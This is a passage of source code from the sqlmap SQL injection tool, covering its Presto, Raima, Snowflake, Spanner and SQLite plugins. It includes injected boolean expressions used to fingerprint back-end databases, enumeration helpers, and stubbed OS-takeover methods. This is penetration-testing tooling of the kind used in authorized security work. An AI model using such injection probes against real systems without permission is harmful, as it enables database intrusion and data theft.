SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on Presto it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/presto/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import PRESTO_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.PRESTO) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.PRESTO return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(PRESTO_ALIASES): setDbms(DBMS.PRESTO) self.getBanner() return True infoMsg = "testing %s" % DBMS.PRESTO logger.info(infoMsg) result = inject.checkBooleanExpression("TO_BASE64URL(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.PRESTO logger.info(infoMsg) result = inject.checkBooleanExpression("TO_HEX(FROM_HEX(NULL)) IS NULL") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.PRESTO logger.warning(warnMsg) return False setDbms(DBMS.PRESTO) if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.PRESTO logger.info(infoMsg) # Reference: https://prestodb.io/docs/current/release/release-0.200.html if inject.checkBooleanExpression("FROM_IEEE754_32(NULL) IS NULL"): Backend.setVersion(">= 0.200") # Reference: https://prestodb.io/docs/current/release/release-0.193.html elif inject.checkBooleanExpression("NORMAL_CDF(NULL,NULL,NULL) IS NULL"): Backend.setVersion(">= 0.193") # Reference: https://prestodb.io/docs/current/release/release-0.183.html elif inject.checkBooleanExpression("MAP_ENTRIES(NULL) IS NULL"): Backend.setVersion(">= 0.183") # Reference: https://prestodb.io/docs/current/release/release-0.171.html elif inject.checkBooleanExpression("CODEPOINT(NULL) IS NULL"): Backend.setVersion(">= 0.171") # Reference: https://prestodb.io/docs/current/release/release-0.162.html elif inject.checkBooleanExpression("XXHASH64(NULL) IS NULL"): Backend.setVersion(">= 0.162") # Reference: https://prestodb.io/docs/current/release/release-0.151.html elif inject.checkBooleanExpression("COSINE_SIMILARITY(NULL,NULL) IS NULL"): Backend.setVersion(">= 0.151") # Reference: https://prestodb.io/docs/current/release/release-0.143.html elif inject.checkBooleanExpression("TRUNCATE(NULL) IS NULL"): Backend.setVersion(">= 0.143") # Reference: https://prestodb.io/docs/current/release/release-0.137.html elif inject.checkBooleanExpression("BIT_COUNT(NULL,NULL) IS NULL"): Backend.setVersion(">= 0.137") # Reference: https://prestodb.io/docs/current/release/release-0.130.html elif inject.checkBooleanExpression("MAP_CONCAT(NULL,NULL) IS NULL"): Backend.setVersion(">= 0.130") # Reference: https://prestodb.io/docs/current/release/release-0.115.html elif inject.checkBooleanExpression("SHA1(NULL) IS NULL"): Backend.setVersion(">= 0.115") # Reference: https://prestodb.io/docs/current/release/release-0.100.html elif inject.checkBooleanExpression("SPLIT(NULL,NULL) IS NULL"): Backend.setVersion(">= 0.100") # Reference: https://prestodb.io/docs/current/release/release-0.70.html elif inject.checkBooleanExpression("GREATEST(NULL,NULL) IS NULL"): Backend.setVersion(">= 0.70") else: Backend.setVersion("< 0.100") return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.PRESTO logger.warning(warnMsg) return False ================================================ FILE: plugins/dbms/presto/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" True """ def escaper(value): return "||".join("CHR(%d)" % _ for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) ================================================ FILE: plugins/dbms/presto/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): errMsg = "on Presto it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on Presto it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on Presto it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on Presto it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/raima/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import RAIMA_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.raima.enumeration import Enumeration from plugins.dbms.raima.filesystem import Filesystem from plugins.dbms.raima.fingerprint import Fingerprint from plugins.dbms.raima.syntax import Syntax from plugins.dbms.raima.takeover import Takeover from plugins.generic.misc import Miscellaneous class RaimaMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Raima methods """ def __init__(self): self.excludeDbsList = RAIMA_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.RAIMA] = Syntax.escape ================================================ FILE: plugins/dbms/raima/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): def connect(self): errMsg = "on Raima Database Manager it is not (currently) possible to establish a " errMsg += "direct connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/raima/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getBanner(self): warnMsg = "on Raima Database Manager it is not possible to get the banner" logger.warning(warnMsg) return None def getCurrentUser(self): warnMsg = "on Raima Database Manager it is not possible to enumerate the current user" logger.warning(warnMsg) def getCurrentDb(self): warnMsg = "on Raima Database Manager it is not possible to get name of the current database" logger.warning(warnMsg) def isDba(self, user=None): warnMsg = "on Raima Database Manager it is not possible to test if current user is DBA" logger.warning(warnMsg) def getUsers(self): warnMsg = "on Raima Database Manager it is not possible to enumerate the users" logger.warning(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on Raima Database Manager it is not possible to enumerate the user password hashes" logger.warning(warnMsg) return {} def getPrivileges(self, *args, **kwargs): warnMsg = "on Raima Database Manager it is not possible to enumerate the user privileges" logger.warning(warnMsg) return {} def getDbs(self): warnMsg = "on Raima Database Manager it is not possible to enumerate databases (use only '--tables')" logger.warning(warnMsg) return [] def searchDb(self): warnMsg = "on Raima Database Manager it is not possible to search databases" logger.warning(warnMsg) return [] def searchTable(self): warnMsg = "on Raima Database Manager it is not possible to search tables" logger.warning(warnMsg) return [] def searchColumn(self): warnMsg = "on Raima Database Manager it is not possible to search columns" logger.warning(warnMsg) return [] def search(self): warnMsg = "on Raima Database Manager search option is not available" logger.warning(warnMsg) def getHostname(self): warnMsg = "on Raima Database Manager it is not possible to enumerate the hostname" logger.warning(warnMsg) def getStatements(self): warnMsg = "on Raima Database Manager it is not possible to enumerate the SQL statements" logger.warning(warnMsg) return [] ================================================ FILE: plugins/dbms/raima/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def readFile(self, remoteFile): errMsg = "on Raima Database Manager it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on Raima Database Manager it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/raima/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import METADB_SUFFIX from lib.core.settings import RAIMA_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.RAIMA) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.RAIMA return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(RAIMA_ALIASES): setDbms(DBMS.RAIMA) return True infoMsg = "testing %s" % DBMS.RAIMA logger.info(infoMsg) result = inject.checkBooleanExpression("ROWNUMBER()=ROWNUMBER()") if result: infoMsg = "confirming %s" % DBMS.RAIMA logger.info(infoMsg) result = inject.checkBooleanExpression("INSSTR('[RANDSTR1]',0,0,'[RANDSTR2]') IS NOT NULL") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.RAIMA logger.warning(warnMsg) return False setDbms(DBMS.RAIMA) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.RAIMA logger.warning(warnMsg) return False def forceDbmsEnum(self): conf.db = ("%s%s" % (DBMS.RAIMA, METADB_SUFFIX)).replace(' ', '_') ================================================ FILE: plugins/dbms/raima/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar" True """ def escaper(value): return "||".join("CHAR(%d)" % _ for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) ================================================ FILE: plugins/dbms/raima/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): errMsg = "on Raima Database Manager it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on Raima Database Manager it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on Raima Database Manager it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on Raima Database Manager it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/snowflake/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import SNOWFLAKE_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.snowflake.enumeration import Enumeration from plugins.dbms.snowflake.filesystem import Filesystem from plugins.dbms.snowflake.fingerprint import Fingerprint from plugins.dbms.snowflake.syntax import Syntax from plugins.dbms.snowflake.takeover import Takeover from plugins.generic.misc import Miscellaneous class SnowflakeMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Snowflake methods """ def __init__(self): self.excludeDbsList = SNOWFLAKE_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.SNOWFLAKE] = Syntax.escape ================================================ FILE: plugins/dbms/snowflake/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ try: import snowflake.connector except: pass import logging from lib.core.common import getSafeExString from lib.core.convert import getText from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: https://www.snowflake.com/ User guide: https://docs.snowflake.com/en/developer-guide/python-connector/python-connector API: https://docs.snowflake.com/en/developer-guide/python-connector/python-connector-api """ def __init__(self): GenericConnector.__init__(self) def connect(self): self.initConnection() try: self.connector = snowflake.connector.connect( user=self.user, password=self.password, account=self.account, warehouse=self.warehouse, database=self.db, schema=self.schema ) cursor = self.connector.cursor() cursor.execute("SELECT CURRENT_VERSION()") cursor.close() except Exception as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except Exception as ex: logger.log(logging.WARNING if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) return None def execute(self, query): try: self.cursor.execute(getText(query)) except Exception as ex: logger.log(logging.WARNING if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) return None def select(self, query): self.execute(query) return self.fetchall() ================================================ FILE: plugins/dbms/snowflake/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getPasswordHashes(self): warnMsg = "on Snowflake it is not possible to enumerate the user password hashes" logger.warning(warnMsg) return {} def getRoles(self, *args, **kwargs): warnMsg = "on Snowflake it is not possible to enumerate the user roles" logger.warning(warnMsg) return {} def searchDb(self): warnMsg = "on Snowflake it is not possible to search databases" logger.warning(warnMsg) return [] def searchColumn(self): errMsg = "on Snowflake it is not possible to search columns" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/snowflake/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def readFile(self, remoteFile): errMsg = "on Snowflake it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on Snowflake it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/snowflake/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import SNOWFLAKE_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.SNOWFLAKE) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.SNOWFLAKE return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): """ References for fingerprint: * https://docs.snowflake.com/en/sql-reference/functions/current_warehouse * https://docs.snowflake.com/en/sql-reference/functions/md5_number_upper64 """ if not conf.extensiveFp and Backend.isDbmsWithin(SNOWFLAKE_ALIASES): setDbms("%s %s" % (DBMS.SNOWFLAKE, Backend.getVersion())) self.getBanner() return True infoMsg = "testing %s" % DBMS.SNOWFLAKE logger.info(infoMsg) result = inject.checkBooleanExpression("CURRENT_WAREHOUSE()=CURRENT_WAREHOUSE()") if result: infoMsg = "confirming %s" % DBMS.SNOWFLAKE logger.info(infoMsg) result = inject.checkBooleanExpression("MD5_NUMBER_UPPER64('[RANDSTR]')=MD5_NUMBER_UPPER64('[RANDSTR]')") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SNOWFLAKE logger.warning(warnMsg) return False setDbms(DBMS.SNOWFLAKE) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SNOWFLAKE logger.warning(warnMsg) return False ================================================ FILE: plugins/dbms/snowflake/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" True """ def escaper(value): return "||".join("CHR(%d)" % _ for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) ================================================ FILE: plugins/dbms/snowflake/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): errMsg = "on Snowflake it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on Snowflake it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on Snowflake it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on Snowflake it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/spanner/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import SPANNER_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.spanner.enumeration import Enumeration from plugins.dbms.spanner.filesystem import Filesystem from plugins.dbms.spanner.fingerprint import Fingerprint from plugins.dbms.spanner.syntax import Syntax from plugins.dbms.spanner.takeover import Takeover from plugins.generic.misc import Miscellaneous class SpannerMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Spanner methods """ def __init__(self): self.excludeDbsList = SPANNER_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.SPANNER] = Syntax.escape ================================================ FILE: plugins/dbms/spanner/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): pass ================================================ FILE: plugins/dbms/spanner/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from lib.core.settings import SPANNER_DEFAULT_SCHEMA from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getCurrentDb(self): return SPANNER_DEFAULT_SCHEMA def getCurrentUser(self): warnMsg = "on Spanner it is not possible to enumerate the current user" logger.warning(warnMsg) def isDba(self, user=None): warnMsg = "on Spanner it is not possible to test if current user is DBA" logger.warning(warnMsg) def getUsers(self): warnMsg = "on Spanner it is not possible to enumerate the users" logger.warning(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on Spanner it is not possible to enumerate the user password hashes" logger.warning(warnMsg) return {} def getRoles(self, *args, **kwargs): warnMsg = "on Spanner it is not possible to enumerate the user roles" logger.warning(warnMsg) return {} def getPrivileges(self, *args, **kwargs): warnMsg = "on Spanner it is not possible to enumerate the user privileges" logger.warning(warnMsg) return {} ================================================ FILE: plugins/dbms/spanner/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): pass ================================================ FILE: plugins/dbms/spanner/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import SPANNER_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.SPANNER) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.SPANNER return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(SPANNER_ALIASES): setDbms(DBMS.SPANNER) self.getBanner() return True infoMsg = "testing %s" % DBMS.SPANNER logger.info(infoMsg) result = inject.checkBooleanExpression("FARM_FINGERPRINT('sqlmap') IS NOT NULL") if result: infoMsg = "confirming %s" % DBMS.SPANNER logger.info(infoMsg) result = inject.checkBooleanExpression("SAFE_CAST(1 AS INT64)=1") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SPANNER logger.warning(warnMsg) return False setDbms(DBMS.SPANNER) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SPANNER logger.warning(warnMsg) return False ================================================ FILE: plugins/dbms/spanner/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ Note: Google Standard SQL (Spanner) natively supports converting integer arrays to strings via CODE_POINTS_TO_STRING(). This is much cleaner and shorter than chaining multiple CHR() functions with the || operator. >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CODE_POINTS_TO_STRING([97, 98, 99, 100, 101, 102, 103, 104]) FROM foobar" True """ def escaper(value): return "CODE_POINTS_TO_STRING([%s])" % ", ".join(str(_) for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) ================================================ FILE: plugins/dbms/spanner/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): errMsg = "on Spanner it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on Spanner it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on Spanner it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on Spanner it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/sqlite/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import SQLITE_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.sqlite.enumeration import Enumeration from plugins.dbms.sqlite.filesystem import Filesystem from plugins.dbms.sqlite.fingerprint import Fingerprint from plugins.dbms.sqlite.syntax import Syntax from plugins.dbms.sqlite.takeover import Takeover from plugins.generic.misc import Miscellaneous class SQLiteMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines SQLite methods """ def __init__(self): self.excludeDbsList = SQLITE_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.SQLITE] = Syntax.escape ================================================ FILE: plugins/dbms/sqlite/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ try: import sqlite3 except: pass import logging from lib.core.common import getSafeExString from lib.core.convert import getText from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapMissingDependence from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://pysqlite.googlecode.com/ and http://packages.ubuntu.com/quantal/python-sqlite User guide: http://docs.python.org/release/2.5/lib/module-sqlite3.html API: http://docs.python.org/library/sqlite3.html Debian package: python-sqlite (SQLite 2), python-pysqlite3 (SQLite 3) License: MIT Possible connectors: http://wiki.python.org/moin/SQLite """ def __init__(self): GenericConnector.__init__(self) self.__sqlite = sqlite3 def connect(self): self.initConnection() self.checkFileDb() try: self.connector = self.__sqlite.connect(database=self.db, check_same_thread=False, timeout=conf.timeout) cursor = self.connector.cursor() cursor.execute("SELECT * FROM sqlite_master") cursor.close() except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError): warnMsg = "unable to connect using SQLite 3 library, trying with SQLite 2" logger.warning(warnMsg) try: try: import sqlite except ImportError: errMsg = "sqlmap requires 'python-sqlite' third-party library " errMsg += "in order to directly connect to the database '%s'" % self.db raise SqlmapMissingDependence(errMsg) self.__sqlite = sqlite self.connector = self.__sqlite.connect(database=self.db, check_same_thread=False, timeout=conf.timeout) except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError) as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except self.__sqlite.OperationalError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) return None def execute(self, query): try: self.cursor.execute(getText(query)) except self.__sqlite.OperationalError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) except self.__sqlite.DatabaseError as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() def select(self, query): self.execute(query) return self.fetchall() ================================================ FILE: plugins/dbms/sqlite/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getCurrentUser(self): warnMsg = "on SQLite it is not possible to enumerate the current user" logger.warning(warnMsg) def getCurrentDb(self): warnMsg = "on SQLite it is not possible to get name of the current database" logger.warning(warnMsg) def isDba(self, user=None): warnMsg = "on SQLite the current user has all privileges" logger.warning(warnMsg) return True def getUsers(self): warnMsg = "on SQLite it is not possible to 